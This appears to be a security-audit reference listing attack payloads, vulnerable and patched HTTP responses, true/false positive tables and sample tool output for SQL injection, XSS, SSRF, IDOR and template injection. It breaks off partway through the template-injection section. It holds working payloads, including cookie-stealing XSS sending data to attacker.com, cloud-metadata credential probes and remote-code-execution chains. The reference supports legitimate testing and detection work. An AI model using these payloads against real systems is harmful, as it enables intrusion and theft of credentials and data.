# Attack Payloads & Response Patterns Reference

> Comprehensive reference for security audit simulation: real-world payloads, vulnerable/safe response patterns, tool output formats, and true/false positive indicators.

---

## Table of Contents

1. [SQL Injection](#1-sql-injection)
2. [Cross-Site Scripting (XSS)](#2-cross-site-scripting-xss)
3. [Server-Side Request Forgery (SSRF)](#3-server-side-request-forgery-ssrf)
4. [IDOR / BOLA](#4-idor--bola-broken-object-level-authorization)
5. [Server-Side Template Injection (SSTI)](#5-server-side-template-injection-ssti)
6. [Authentication Bypass / Default Credentials](#6-authentication-bypass--default-credentials)
7. [Security Misconfiguration](#7-security-misconfiguration)
8. [Cryptographic Failures](#8-cryptographic-failures)
9. [CSRF](#9-csrf-cross-site-request-forgery)
10. [XXE](#10-xxe-xml-external-entity)
11. [Path Traversal / LFI](#11-path-traversal--lfi)
12. [Command Injection](#12-command-injection)
13. [File Upload Vulnerabilities](#13-file-upload-vulnerabilities)
14. [Rate Limiting / Brute Force](#14-rate-limiting--brute-force)
15. [Open Redirect](#15-open-redirect)
16. [Information Disclosure](#16-information-disclosure)

---

## 1. SQL Injection

### 1.1 Test Payloads

#### Error-Based SQL Injection
```
# Basic error trigger
'
"
' OR '1'='1
" OR "1"="1
') OR ('1'='1
' OR 1=1--
' OR 1=1#
' OR 1=1/*
admin'--
1' AND 1=CONVERT(int,(SELECT @@version))--

# MySQL error-based extraction
' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT database()),0x3a,FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)--
' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT version()),0x7e))--
' AND UPDATEXML(1,CONCAT(0x7e,(SELECT user()),0x7e),1)--

# MSSQL error-based
' AND 1=CONVERT(int,(SELECT TOP 1 table_name FROM information_schema.tables))--
' AND 1=CAST((SELECT @@version) AS int)--

# Oracle error-based
' AND 1=UTL_INADDR.GET_HOST_ADDRESS((SELECT user FROM dual))--
' AND 1=CTXSYS.DRITHSX.SN(1,(SELECT user FROM dual))--

# PostgreSQL error-based
' AND 1=CAST((SELECT version()) AS int)--
',CAST(chr(126)||version()||chr(126) AS NUMERIC),'')--
```

#### Union-Based SQL Injection
```
# Step 1: Determine column count with ORDER BY
' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3--
' ORDER BY 4--   <-- if this errors, table has 3 columns

# Step 1 alt: Determine column count with UNION SELECT NULL
' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL--

# Step 2: Find displayable columns
' UNION SELECT 'a',NULL,NULL--
' UNION SELECT NULL,'a',NULL--
' UNION SELECT NULL,NULL,'a'--

# Step 3: Extract data (3-column example)
' UNION SELECT username,password,NULL FROM users--
' UNION SELECT table_name,NULL,NULL FROM information_schema.tables--
' UNION SELECT column_name,NULL,NULL FROM information_schema.columns WHERE table_name='users'--
' UNION ALL SELECT NULL,CONCAT(username,0x3a,password),NULL FROM users--

# MySQL specific
' UNION SELECT 1,GROUP_CONCAT(schema_name),3 FROM information_schema.schemata--
' UNION SELECT 1,GROUP_CONCAT(table_name),3 FROM information_schema.tables WHERE table_schema=database()--

# PostgreSQL specific
' UNION SELECT NULL,version(),NULL--
' UNION SELECT NULL,string_agg(table_name,','),NULL FROM information_schema.tables--
```

#### Blind SQL Injection (Boolean-Based)
```
# Boolean-based detection
' AND 1=1--    (true condition - normal response)
' AND 1=2--    (false condition - different response)

# Character extraction
' AND SUBSTRING((SELECT database()),1,1)='a'--
' AND (SELECT ASCII(SUBSTRING((SELECT database()),1,1)))>97--
' AND (SELECT COUNT(*) FROM users WHERE username='admin' AND LENGTH(password)>5)=1--

# MySQL
' AND IF(1=1,1,0)--
' AND IF(SUBSTRING(database(),1,1)='s',SLEEP(0),1)--

# PostgreSQL
' AND (SELECT CASE WHEN (1=1) THEN 1 ELSE 1/(SELECT 0) END)=1--
```

#### Blind SQL Injection (Time-Based)
```
# MySQL
' AND SLEEP(5)--
' AND IF(1=1,SLEEP(5),0)--
' AND IF(SUBSTRING(database(),1,1)='a',SLEEP(5),0)--
'; SELECT BENCHMARK(10000000,SHA1('test'))--

# PostgreSQL
'; SELECT pg_sleep(5)--
' AND (SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END)--

# MSSQL
'; WAITFOR DELAY '0:0:5'--
' AND IF 1=1 WAITFOR DELAY '0:0:5'--
'; IF (SELECT COUNT(*) FROM sysobjects)>0 WAITFOR DELAY '0:0:5'--

# Oracle
' AND 1=DBMS_PIPE.RECEIVE_MESSAGE('a',5)--
```

### 1.2 Vulnerable Response Patterns

#### HTTP Response - Error-Based (MySQL)
```http
HTTP/1.1 500 Internal Server Error
Content-Type: text/html; charset=utf-8
Server: Apache/2.4.41 (Ubuntu)

<b>Warning</b>: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in <b>/var/www/html/index.php</b> on line <b>12</b><br>
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''''' at line 1
```

#### HTTP Response - Error-Based (MSSQL)
```http
HTTP/1.1 500 Internal Server Error
Content-Type: text/html

Microsoft OLE DB Provider for SQL Server error '80040e14'
Unclosed quotation mark after the character string ''.
/products.asp, line 33
```

#### HTTP Response - Error-Based (Oracle)
```http
HTTP/1.1 500 Internal Server Error

ORA-01756: quoted string not properly terminated
ORA-00933: SQL command not properly ended
```

#### HTTP Response - Error-Based (PostgreSQL)
```http
HTTP/1.1 500 Internal Server Error

ERROR: unterminated quoted string at or near "'"
LINE 1: SELECT * FROM products WHERE id='1''
ERROR: invalid input syntax for type integer: "abc"
```

#### HTTP Response - Union-Based (Data Exfiltration)
```http
HTTP/1.1 200 OK
Content-Type: text/html

<table>
<tr><td>admin</td><td>$2b$12$LJ3m4ys3Lk0TdPmFBpKBOeJMUMmo7Xa5VjKfAPeXBqHVjE9P5VqiG</td><td></td></tr>
<tr><td>john</td><td>$2b$12$9XNHnKz.LmQZGKISYhECY.IH0d1pYR/lFaXEPt3HvSbDYpNGoEi1u</td><td></td></tr>
</table>
```

#### HTTP Response - Boolean Blind (True vs False)
```
# TRUE condition (' AND 1=1--)
HTTP/1.1 200 OK
Content-Length: 4538
<h1>Product: Widget Pro</h1>
<p>Price: $29.99</p>

# FALSE condition (' AND 1=2--)
HTTP/1.1 200 OK
Content-Length: 1204
<h1>No products found</h1>
```

#### HTTP Response - Time-Based Blind
```
# Non-injected request: Response time ~50ms
# Injected with SLEEP(5): Response time ~5050ms
# The 5-second delay confirms injection
```

### 1.3 Safe/Patched Response Patterns

```http
HTTP/1.1 400 Bad Request
Content-Type: application/json

{
    "error": "Invalid input",
    "message": "The provided value is not valid"
}
```

```http
HTTP/1.1 200 OK
Content-Type: application/json

{
    "products": [],
    "message": "No results found"
}
```

Key safe indicators:
- No database error messages leaked
- Parameterized query used (payload treated as literal string data)
- Input validation rejects special characters
- Generic error messages with no stack traces
- Same response for both `' AND 1=1--` and `' AND 1=2--`
- No measurable time difference with SLEEP/WAITFOR payloads

### 1.4 True Positive vs False Positive

| Indicator | True Positive | False Positive |
|-----------|---------------|----------------|
| Error message | Contains DB-specific syntax errors (MySQL, MSSQL, Oracle, PG) | Generic 500 error or WAF block page |
| Boolean blind | Consistently different response for true/false conditions across multiple tests | Single inconsistent difference (could be caching, race condition) |
| Time-based | Consistent delay matching injected sleep value (e.g., 5s for SLEEP(5), 10s for SLEEP(10)) | Random delays due to server load |
| Union-based | Actual data from other tables appears in response | Extra columns show NULL but no extractable data |
| WAF detection | Payload blocked with WAF signature (403 Forbidden, "Request blocked") | Actual SQL syntax error from the database engine |

### 1.5 Tool Output Examples

#### sqlmap Output (Vulnerable Target)
```
        ___
       __H__
 ___ ___["]_____ ___ ___  {1.8.4#stable}
|_ -| . [(]     | .'| . |
|___|_  [']_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal...

[*] starting @ 14:23:15 /2026-04-09/

[14:23:15] [INFO] testing connection to the target URL
[14:23:15] [INFO] checking if the target is protected by some kind of WAF/IPS
[14:23:15] [INFO] testing if the target URL content is stable
[14:23:16] [INFO] target URL content is stable
[14:23:16] [INFO] testing if GET parameter 'id' is dynamic
[14:23:16] [INFO] GET parameter 'id' appears to be dynamic
[14:23:16] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL')
[14:23:16] [INFO] heuristic (XSS) test shows that GET parameter 'id' might be vulnerable to cross-site scripting (XSS) attacks
[14:23:16] [INFO] testing for SQL injection on GET parameter 'id'
[14:23:16] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[14:23:17] [INFO] GET parameter 'id' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable
[14:23:17] [INFO] testing 'Generic inline queries'
[14:23:17] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'
[14:23:17] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)'
[14:23:17] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)'
[14:23:18] [INFO] GET parameter 'id' is 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)' injectable
[14:23:18] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[14:23:28] [INFO] GET parameter 'id' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
[14:23:28] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[14:23:28] [INFO] automatically extending ranges for UNION query injection technique tests
[14:23:29] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns.
[14:23:29] [INFO] target URL appears to have 3 columns in query
[14:23:30] [INFO] GET parameter 'id' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 52 HTTP(s) requests:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1' AND 5639=5639 AND 'RdBg'='RdBg

    Type: error-based
    Title: MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)
    Payload: id=1' AND EXP(~(SELECT * FROM (SELECT CONCAT(0x716b787871,(SELECT (ELT(4207=4207,1))),0x71766a7a71,0x78))x))-- -

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1' AND (SELECT 5765 FROM (SELECT(SLEEP(5)))SuCe) AND 'vbKl'='vbKl

    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: id=-7092' UNION ALL SELECT CONCAT(0x716b787871,0x4f724d6f4c52634f6c72,0x71766a7a71),NULL,NULL-- -
---
[14:23:30] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: PHP 7.4.3, Apache 2.4.41
back-end DBMS: MySQL >= 5.5
[14:23:30] [INFO] fetched data logged to text files under '/home/user/.local/share/sqlmap/output/target.example.com'

[*] ending @ 14:23:30 /2026-04-09/
```

#### sqlmap Database Enumeration Output
```
[14:25:01] [INFO] fetching database names
available databases [4]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] webapp_db

[14:25:02] [INFO] fetching tables for database: 'webapp_db'
Database: webapp_db
[3 tables]
+-----------+
| users     |
| products  |
| orders    |
+-----------+

[14:25:03] [INFO] fetching columns for table 'users' in database 'webapp_db'
Database: webapp_db
Table: users
[4 columns]
+----------+-------------+
| Column   | Type        |
+----------+-------------+
| id       | int(11)     |
| username | varchar(50) |
| password | varchar(255)|
| email    | varchar(100)|
+----------+-------------+

[14:25:04] [INFO] fetching entries for table 'users' in database 'webapp_db'
Database: webapp_db
Table: users
[3 entries]
+----+----------+----------------------------------------------+-------------------+
| id | username | password                                     | email             |
+----+----------+----------------------------------------------+-------------------+
| 1  | admin    | $2b$12$LJ3m4ys3Lk0TdPmFBpKBOeJMUMmo7Xa5VjKf | admin@example.com |
| 2  | john     | 5f4dcc3b5aa765d61d8327deb882cf99             | john@example.com  |
| 3  | jane     | password123                                  | jane@example.com  |
+----+----------+----------------------------------------------+-------------------+
```

---

## 2. Cross-Site Scripting (XSS)

### 2.1 Test Payloads

#### Reflected XSS
```
# Basic payloads
<script>alert(1)</script>
<script>alert(document.domain)</script>
<script>alert(document.cookie)</script>
"><script>alert(1)</script>
'><script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<svg/onload=alert(1)>
<body onload=alert(1)>
<iframe src="javascript:alert(1)">
<input onfocus=alert(1) autofocus>
<details open ontoggle=alert(1)>
<marquee onstart=alert(1)>

# Filter bypass payloads
<ScRiPt>alert(1)</sCrIpT>
<scr<script>ipt>alert(1)</scr</script>ipt>
<script>alert(String.fromCharCode(88,83,83))</script>
<img src=x onerror="alert(1)">
<img/src=x onerror=alert(1)>
<svg><script>alert&#40;1&#41;</script></svg>
<math><mtext><table><mglyph><style><!--</style><img src=x onerror=alert(1)>
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
```

#### Stored XSS
```
# Payloads for form fields, comments, profiles
<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>
<img src=x onerror="fetch('https://attacker.com/log?c='+document.cookie)">
<script>new Image().src='https://attacker.com/steal?c='+document.cookie</script>
<svg onload="navigator.sendBeacon('https://attacker.com/log',document.cookie)">

# Payloads disguised in rich content
<a href="javascript:alert(1)">Click me</a>
<div style="background:url('javascript:alert(1)')">
[Click here](javascript:alert(document.domain))
```

#### DOM-Based XSS
```
# Payloads targeting common DOM sinks
# URL fragment payloads (document.location.hash)
#<img src=x onerror=alert(1)>
#"><svg onload=alert(1)>

# URL parameter payloads (location.search / URLSearchParams)
?search=<img src=x onerror=alert(1)>
?name=<script>alert(document.domain)</script>
?redirect=javascript:alert(1)

# Targeting innerHTML sinks
<img src=x onerror=alert(1)>
<svg onload=alert(1)>

# Targeting eval/setTimeout sinks
';alert(1)//
\';alert(1)//
1;alert(1)

# Targeting document.write sinks
"><script>alert(1)</script>
" onmouseover="alert(1)

# Targeting jQuery sinks (.html(), .append())
<img src=x onerror=alert(1)>
```

### 2.2 Vulnerable Response Patterns

#### Reflected XSS - Vulnerable
```http
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
X-XSS-Protection: 0

<html>
<body>
<h1>Search Results</h1>
<p>You searched for: <script>alert(1)</script></p>
<p>No results found.</p>
</body>
</html>
```

Note: The payload `<script>alert(1)</script>` is reflected directly into the HTML response without encoding.

#### Stored XSS - Vulnerable
```http
HTTP/1.1 200 OK
Content-Type: text/html

<div class="comment">
  <span class="author">attacker_user</span>
  <p><img src=x onerror="fetch('https://attacker.com/steal?c='+document.cookie)"></p>
  <span class="date">2026-04-09</span>
</div>
```

#### DOM XSS - Vulnerable JavaScript Source
```javascript
// Vulnerable code pattern in client-side JS
var search = document.location.hash.substring(1);
document.getElementById('results').innerHTML = "Results for: " + search;
// No sanitization - DOM XSS via fragment
```

### 2.3 Safe/Patched Response Patterns

```http
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-abc123'

<html>
<body>
<h1>Search Results</h1>
<p>You searched for: &lt;script&gt;alert(1)&lt;/script&gt;</p>
<p>No results found.</p>
</body>
</html>
```

Key safe indicators:
- HTML entities encoded (`<` becomes `&lt;`, `>` becomes `&gt;`)
- Content-Security-Policy header present with restrictive policy
- X-Content-Type-Options: nosniff
- Input sanitized / HTML-purified before storage (stored XSS)
- DOM manipulation uses textContent instead of innerHTML

### 2.4 True Positive vs False Positive

| Indicator | True Positive | False Positive |
|-----------|---------------|----------------|
| Reflection | Payload renders as executable HTML/JS in DOM | Payload visible in source but entity-encoded |
| Alert fires | `alert()` / `console.log()` executes in browser | Payload visible in raw source but browser doesn't execute it |
| CSP | No CSP or CSP allows unsafe-inline/unsafe-eval | CSP blocks execution even though payload is reflected |
| Context | Payload breaks out of current context (attribute, tag, script) | Payload is inside a context that prevents execution (e.g., textarea, comment) |
| Encoding | No encoding applied | Server-side encoding applied but payload appears "reflected" in encoded form |

### 2.5 Tool Output Examples

#### Burp Suite Scanner Finding
```xml
<issue>
  <serialNumber>7283649</serialNumber>
  <type>2097920</type>
  <name>Cross-site scripting (reflected)</name>
  <host ip="93.184.216.34">https://target.example.com</host>
  <path>/search</path>
  <location>/search [q parameter]</location>
  <severity>High</severity>
  <confidence>Certain</confidence>
  <issueBackground>
    Reflected cross-site scripting vulnerabilities arise when data is copied from a
    request and echoed into the application's immediate response in an unsafe way.
  </issueBackground>
  <issueDetail>
    The value of the &lt;b&gt;q&lt;/b&gt; request parameter is copied into the
    HTML document as plain text between tags. The payload
    &lt;script&gt;alert(1)&lt;/script&gt; was submitted in the q parameter.
    This input was echoed unmodified in the application's response.
  </issueDetail>
  <requestresponse>
    <request>GET /search?q=%3Cscript%3Ealert(1)%3C/script%3E HTTP/1.1
Host: target.example.com</request>
    <response>HTTP/1.1 200 OK
Content-Type: text/html

You searched for: &lt;script&gt;alert(1)&lt;/script&gt;</response>
  </requestresponse>
</issue>
```

#### Nikto XSS Detection
```
+ OSVDB-3092: /search?q=<script>alert(1)</script>: Possible XSS vulnerability. The 'q' parameter appears to be reflected without sanitization.
```

---

## 3. Server-Side Request Forgery (SSRF)

### 3.1 Test Payloads

```
# Basic localhost/internal access
http://localhost/
http://localhost:8080/admin
http://127.0.0.1/
http://127.0.0.1:22/
http://127.1/
http://0.0.0.0/
http://[::1]/
http://0x7f000001/
http://2130706433/
http://017700000001/

# Internal network scanning
http://192.168.0.1/
http://192.168.1.1/admin
http://10.0.0.1/
http://172.16.0.1/
http://10.0.0.1:8080/
http://10.0.0.1:3306/
http://10.0.0.1:6379/

# AWS metadata endpoint (IMDSv1)
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/EC2-Role-Name
http://169.254.169.254/latest/user-data
http://169.254.169.254/latest/dynamic/instance-identity/document

# AWS metadata (IMDSv2 - requires token)
# PUT http://169.254.169.254/latest/api/token (with X-aws-ec2-metadata-token-ttl-seconds: 21600)

# GCP metadata
http://metadata.google.internal/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
http://metadata.google.internal/computeMetadata/v1/project/project-id

# Azure metadata
http://169.254.169.254/metadata/instance?api-version=2021-02-01
http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/

# DNS rebinding / bypass payloads
http://spoofed.burpcollaborator.net/
http://127.0.0.1.nip.io/
http://localtest.me/
http://customer-controlled-domain.127.0.0.1.nip.io/
http://www.target.com@attacker.com/

# Protocol smuggling
gopher://localhost:25/_MAIL%20FROM:%3Cattacker@example.com%3E
dict://localhost:11211/stat
file:///etc/passwd
```

### 3.2 Vulnerable Response Patterns

#### SSRF - Cloud Metadata Exposed
```http
HTTP/1.1 200 OK
Content-Type: application/json

{
  "Code": "Success",
  "LastUpdated": "2026-04-09T12:00:00Z",
  "Type": "AWS-HMAC",
  "AccessKeyId": "AKIAIOSFODNN7EXAMPLE",
  "SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY",
  "Token": "FwoGZXIvYXdzEBYaDO...long_token...",
  "Expiration": "2026-04-09T18:00:00Z"
}
```

#### SSRF - Internal Service Response Forwarded
```http
HTTP/1.1 200 OK
Content-Type: text/html

<html>
<h1>Internal Admin Panel</h1>
<p>Server: internal-app-01.corp.local</p>
<p>Database: mysql://root:dbpassword123@10.0.0.5:3306/production</p>
<a href="/admin/users">Manage Users</a>
<a href="/admin/settings">System Settings</a>
</html>
```

#### SSRF - Internal Port Scan Response
```http
# Port open (fast response ~50ms):
HTTP/1.1 200 OK
Content-Length: 0
(or returns connection banner data)

# Port closed (connection refused, fast ~20ms):
HTTP/1.1 500 Internal Server Error
{"error": "Connection refused"}

# Port filtered (timeout ~30s):
HTTP/1.1 504 Gateway Timeout
{"error": "Connection timed out"}
```

### 3.3 Safe/Patched Response Patterns

```http
HTTP/1.1 400 Bad Request
Content-Type: application/json

{
  "error": "Invalid URL",
  "message": "The requested URL is not allowed. Only external HTTP/HTTPS URLs are permitted."
}
```

```http
HTTP/1.1 403 Forbidden
Content-Type: application/json

{
  "error": "Blocked",
  "message": "Access to internal network addresses is not permitted."
}
```

Key safe indicators:
- URL scheme restricted to http/https only (blocks file://, gopher://, dict://)
- Allowlist of permitted domains/IPs
- DNS resolution validated (no private IP ranges: 10.x, 172.16-31.x, 192.168.x, 127.x, 169.254.x)
- IMDSv2 enforced on AWS (requires PUT token first)
- Responses from internal services not forwarded to user

### 3.4 True Positive vs False Positive

| Indicator | True Positive | False Positive |
|-----------|---------------|----------------|
| Metadata access | Actual AWS/GCP/Azure credentials or instance data returned | Generic timeout or error page |
| Internal access | Response contains internal service data, banners, or HTML from internal apps | Error message mentioning blocked address (WAF/allowlist working) |
| Port scan | Distinguishable response differences between open/closed/filtered ports | Uniform error for all ports (server validates before connecting) |
| DNS rebinding | Callback received on attacker-controlled Burp Collaborator | No callback received |
| Blind SSRF | Out-of-band DNS/HTTP interaction confirmed via Collaborator | No external interaction observed |

### 3.5 Tool Output Examples

#### Burp Collaborator Interaction (Blind SSRF)
```
Collaborator interaction received:

Type: HTTP
From: 10.0.0.5 (internal IP!)
To: xyz123.burpcollaborator.net
Timestamp: 2026-04-09 14:30:15 UTC

GET / HTTP/1.1
Host: xyz123.burpcollaborator.net
User-Agent: Java/11.0.12
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: keep-alive
```

#### Nmap Internal Network Scan (discovered via SSRF)
```
Nmap scan report for 10.0.0.5
Host is up (0.0034s latency).
Not shown: 997 closed ports
PORT     STATE SERVICE
22/tcp   open  ssh
3306/tcp open  mysql
8080/tcp open  http-proxy
```

---

## 4. IDOR / BOLA (Broken Object Level Authorization)

### 4.1 Test Payloads

```
# Basic ID manipulation
GET /api/v1/users/1001        -> GET /api/v1/users/1002
GET /api/v1/orders/5000       -> GET /api/v1/orders/5001
GET /api/v1/invoices/INV-2024-001 -> GET /api/v1/invoices/INV-2024-002
DELETE /api/v1/users/1002     (delete another user)
PUT /api/v1/users/1002        (modify another user)

# UUID/GUID prediction
GET /api/v1/documents/550e8400-e29b-41d4-a716-446655440000
# Try sequential, similar or leaked UUIDs

# Body parameter manipulation
POST /api/v1/transfer
{"from_account": "ACC001", "to_account": "ACC002", "amount": 100}
# Change from_account to someone else's

# Nested object references
GET /api/v1/organizations/1/users/5
# Change organization ID while keeping user ID
GET /api/v1/organizations/2/users/5

# GraphQL IDOR
query {
  user(id: "1002") {
    name
    email
    ssn
    creditCards { number expiry }
  }
}

# Encoded/hashed ID manipulation
GET /api/v1/users/MTAwMg==          (base64 of "1002")
GET /api/v1/users/e4da3b7fbbce2345  (MD5 of "1002" or similar)

# HTTP method switching
GET /api/v1/admin/users/1002    -> 403 Forbidden
PUT /api/v1/admin/users/1002    -> 200 OK (method not checked)
PATCH /api/v1/admin/users/1002  -> 200 OK
```

### 4.2 Vulnerable Response Patterns

#### IDOR - Direct Data Access
```http
# Request as user 1001, accessing user 1002's data
GET /api/v1/users/1002 HTTP/1.1
Host: api.example.com
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
Cookie: session=abc123_user1001

HTTP/1.1 200 OK
Content-Type: application/json

{
    "id": 1002,
    "name": "Jane Smith",
    "email": "jane.smith@example.com",
    "ssn": "123-45-6789",
    "phone": "+1-555-0102",
    "address": "456 Oak Ave, Springfield, IL 62701",
    "credit_card": {
        "last_four": "4242",
        "expiry": "12/27"
    }
}
```

#### IDOR - Modification of Another User's Resource
```http
PUT /api/v1/users/1002 HTTP/1.1
Host: api.example.com
Authorization: Bearer eyJ..._user1001_token
Content-Type: application/json

{"email": "attacker@evil.com", "role": "admin"}

HTTP/1.1 200 OK
Content-Type: application/json

{
    "id": 1002,
    "message": "User updated successfully",
    "email": "attacker@evil.com",
    "role": "admin"
}
```

### 4.3 Safe/Patched Response Patterns

```http
HTTP/1.1 403 Forbidden
Content-Type: application/json

{
    "error": "Forbidden",
    "message": "You do not have permission to access this resource"
}
```

```http
HTTP/1.1 404 Not Found
Content-Type: application/json

{
    "error": "Not Found",
    "message": "Resource not found"
}
```

Key safe indicators:
- Server verifies resource ownership against authenticated user's session
- Returns 403 or 404 for unauthorized access (404 preferred to avoid enumeration)
- UUID v4 used instead of sequential integers (reduces guessability, but not a fix alone)
- Authorization middleware checks object-level permissions

### 4.4 True Positive vs False Positive

| Indicator | True Positive | False Positive |
|-----------|---------------|----------------|
| Response data | Returns data belonging to a DIFFERENT user than the authenticated one | Returns own data or generic response |
| Status code | 200 OK with another user's data | 200 OK but data is filtered/redacted |
| Modification | PUT/DELETE on another user's resource returns success, and changes persist | PUT returns 200 but backend silently ignores the ID override |
| Enumeration | Incrementing IDs returns different valid records | All IDs return same data (server ignores path param, uses session) |

### 4.5 Tool Output Examples

#### Autorize (Burp Extension) Output
```
URL: /api/v1/users/1002
Original Status: 200
Modified Status: 200
Authorization Status: BYPASSED!
Original Response Length: 1847
Modified Response Length: 1823
Content-Type: application/json

Differences detected: Response contains different user data
User A token used to access User B's resource - IDOR CONFIRMED
```

---

## 5. Server-Side Template Injection (SSTI)

### 5.1 Test Payloads

#### Detection / Polyglot
```
# Universal detection probes
{{7*7}}
${7*7}
<%= 7*7 %>
#{7*7}
{{7*'7'}}
*{7*7}
@(7*7)

# Engine differentiation
{{7*'7'}}
# Returns 49 -> Twig
# Returns 7777777 -> Jinja2

${"freemarker".getClass()}
# FreeMarker if it returns class info
```

#### Jinja2 (Python/Flask)
```
# Config dump
{{config}}
{{config.items()}}
{{settings.SECRET_KEY}}

# RCE via MRO chain
{{''.__class__.__mro__[1].__subclasses__()}}
{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
{{request.application.__self__._get_data_for_json.__globals__['json'].JSONEncoder.default.__init__.__globals__['current_app'].config}}

# RCE - subprocess.Popen
{{''.__class__.__mro__[1].__subclasses__()[407]('id',shell=True,stdout=-1).communicate()}}

# Filter bypass (no dots)
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}

# Filter bypass (no underscores)
{{request|attr(['\x5f\x5fclass\x5f\x5f']|join)}}
```

#### Twig (PHP)
```
# Basic detection
{{7*7}}
{{dump(app)}}
{{app.request.server.all|join(',')}}

# RCE (older versions)
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

# File read
{{'/etc/passwd'|file_excerpt(1,30)}}

# RCE via system()
{{['id']|filter('system')}}
{{['cat /etc/passwd']|filter('system')}}
```

#### FreeMarker (Java)
```
# Detection
${7*7}
${.now}
${.version}

# RCE
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("cat /etc/passwd")}

# File read
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/etc/passwd').toURL().openStream().readAllBytes()?join(" ")}
```

#### Velocity (Java)
```
# Detection
#set($x=7*7)$x

# RCE
#set($e="e")
$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("id")
```

#### ERB (Ruby)
```
<%= 7*7 %>
<%= system("id") %>
<%= `id` %>
<%= IO.popen("id").readlines() %>
```

### 5.2 Vulnerable Response Patterns

#### Jinja2 - Math Evaluation Confirmed
```http
# Request: GET /profile?name={{7*7}}
HTTP/1.1 200 OK
Content-Type: text/html

<h1>Hello, 49!</h1>
```

#### Jinja2 - RCE Output
```http
# Request: GET /page?title={{config.__class__.__init__.__globals__['os'].popen('id').read()}}
HTTP/1.1 200 OK

<h1>uid=33(www-data) gid=33(www-data) groups=33(www-data)</h1>
```

#### FreeMarker - RCE Output
```http
# Payload in template field: <#assign ex="freemarker.template.utility.Execute"?new()>${ex("whoami")}
HTTP/1.1 200 OK

<div>tomcat</div>
```

### 5.3 Safe/Patched Response Patterns

```http
# Math expression NOT evaluated, rendered as literal text
HTTP/1.1 200 OK
Content-Type: text/html

<h1>Hello, {{7*7}}!</h1>
```

```http
# Template syntax causes controlled error, no evaluation
HTTP/1.1 500 Internal Server Error
Content-Type: application/json

{
    "error": "Template rendering error",
    "message": "Invalid template syntax"
}
```

Key safe indicators:
- Template expressions rendered as literal text (not evaluated)
- Sandboxed template engine (Jinja2 SandboxedEnvironment)
- Logic-less templates used (Mustache, Handlebars)
- User input never directly interpolated into templates

### 5.4 True Positive vs False Positive

| Indicator | True Positive | False Positive |
|-----------|---------------|----------------|
| Math probe | `{{7*7}}` renders as `49` in response body | `{{7*7}}` rendered as literal text |
| RCE | `id`/`whoami` output appears in response | Command string appears literally |
| Error | Template engine error reveals engine name/version | Generic application error |
| Config | `{{config}}` dumps Flask config with SECRET_KEY | No config data returned |

